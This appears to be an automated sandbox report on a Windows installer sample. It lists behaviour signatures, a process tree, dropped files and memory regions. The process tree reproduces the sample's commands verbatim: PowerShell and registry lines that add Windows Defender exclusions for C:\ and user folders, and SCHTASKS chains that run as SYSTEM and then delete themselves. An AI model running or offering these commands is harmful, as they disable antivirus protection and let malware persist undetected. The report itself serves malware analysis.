Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 20:31

General

  • Target
    install.2.0.02.exe
  • Size 38.9MB
  • Sample261024-za5tmab191
  • SHA256 d01a30b08f21dc0d0b697a3a2c4886598c7fa62088ff2f4c09d6807c3cfe048c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4160
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3056
    • C:\Users\Public\aggRzd\2FKXoY.exe
      "C:\Users\Public\aggRzd\2FKXoY.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:3744
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\aggRzd\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:1848
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\aggRzd\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:420
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4376
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:2916
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            PID:876
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3060
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:1928
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:3740
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                PID:4280
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5536
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:5464
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:6116
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    PID:4412
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4292
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:4820
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:1364
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:4268
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:1992
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:4452
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2912
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\aggRzd" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:5080
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3080
                          • C:\Users\Public\aggRzd\2FKXoY.exe
                            "C:\Users\Public\aggRzd\2FKXoY.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2040
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:4368
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:268
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4836
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:5976

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                  • Size 1KB
                                  • SHA256 36cd51bb9b39418d5513b6c9a04aeb0d4fe508995ba494767b3d1fb130c93fb8
                                  • MD5 SHA1 SHA512 TLSH

                                  B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                  • Size 1KB
                                  • SHA256 878691a9088fd8f8de982ca13140e3bccb7c226f23403d9e862ebdd906448613
                                  • MD5 SHA1 SHA512 TLSH

                                  0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                  • Size 512B
                                  • SHA256 fab4a50a9b22908759c851721d45f85b8d876c411cc68488996cc976dcc20abc
                                  • MD5 SHA1 SHA512 TLSH

                                  B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                  • Size 506B
                                  • SHA256 f7f0212d22322c83003e55f1febe04c86692666e72cc77c3e57024dc0f822d5c
                                  • MD5 SHA1 SHA512 TLSH

                                  __PSScriptPolicyTest_kyrjnuso.fxo.psm1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kyrjnuso.fxo.psm1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  2FKXoY.exe

                                  • Path C:\Users\Public\aggRzd\2FKXoY.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\aggRzd\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 9c43c849c2abde8b9878d3f00f3ba0a2df356955a0be74a42a2d821a51c5654b
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\aggRzd\adoresd.dat
                                  • Size 4.8MB
                                  • SHA256 c1509a56152e66b9b01401521dbc7f7a3c470e1f7af4822208696b3e4d48a79c
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\aggRzd\msadox.tb
                                  • Size 8KB
                                  • SHA256 38be1ddd323057887ebebdf4e46c47b0601db8f34e3f9084ad26462c9f6b1344
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/2040-583-0x000001105A190000-0x000001105AA67000-memory.dmp

                                  memory/2040-580-0x00007FFF2E0D0000-0x00007FFF2E5EE000-memory.dmp

                                  memory/2040-591-0x000001105A190000-0x000001105AA67000-memory.dmp

                                  memory/2040-594-0x00007FFF50FD0000-0x00007FFF50FD2000-memory.dmp

                                  memory/2040-593-0x000001105A190000-0x000001105AA67000-memory.dmp

                                  memory/2040-592-0x000001105A190000-0x000001105AA67000-memory.dmp

                                  memory/2040-590-0x000001105A190000-0x000001105AA67000-memory.dmp

                                  memory/2040-586-0x000001105A190000-0x000001105AA67000-memory.dmp

                                  memory/2040-585-0x00007FFF50FE0000-0x00007FFF50FE2000-memory.dmp

                                  memory/3744-609-0x0000026CADA60000-0x0000026CADA6A000-memory.dmp

                                  memory/3744-607-0x0000026CADD10000-0x0000026CADDC2000-memory.dmp

                                  memory/3744-606-0x0000026CADA40000-0x0000026CADA5E000-memory.dmp

                                  memory/3744-603-0x0000026CADA10000-0x0000026CADA32000-memory.dmp

                                  memory/4160-527-0x00007FFF41F70000-0x00007FFF41F82000-memory.dmp

                                  memory/4160-526-0x0000000000560000-0x000000000056E000-memory.dmp

                                  memory/4160-1-0x0000000000560000-0x000000000056E000-memory.dmp

                                  memory/4160-0-0x0000000000560000-0x000000000056E000-memory.dmp

                                  memory/4160-2-0x0000000001F60000-0x0000000001F6C000-memory.dmp

                                  memory/4160-504-0x00007FFF41F70000-0x00007FFF41F82000-memory.dmp

                                  memory/5400-534-0x00007FFF2E0D0000-0x00007FFF2E5EE000-memory.dmp

                                  memory/5400-548-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-570-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-569-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-563-0x000001EF1AFA0000-0x000001EF1B02A000-memory.dmp

                                  memory/5400-559-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-564-0x000001EF1AFA0000-0x000001EF1B02A000-memory.dmp

                                  memory/5400-565-0x000001EF1AFA0000-0x000001EF1B02A000-memory.dmp

                                  memory/5400-553-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-562-0x000001EF1AFA0000-0x000001EF1B02A000-memory.dmp

                                  memory/5400-549-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-547-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-546-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-542-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-541-0x00007FFF50FE0000-0x00007FFF50FE2000-memory.dmp

                                  memory/5400-539-0x000001EF1A0C0000-0x000001EF1A997000-memory.dmp

                                  memory/5400-561-0x000001EF1AEC0000-0x000001EF1AF0E000-memory.dmp

                                  memory/5400-533-0x00007FFF50FD0000-0x00007FFF50FD2000-memory.dmp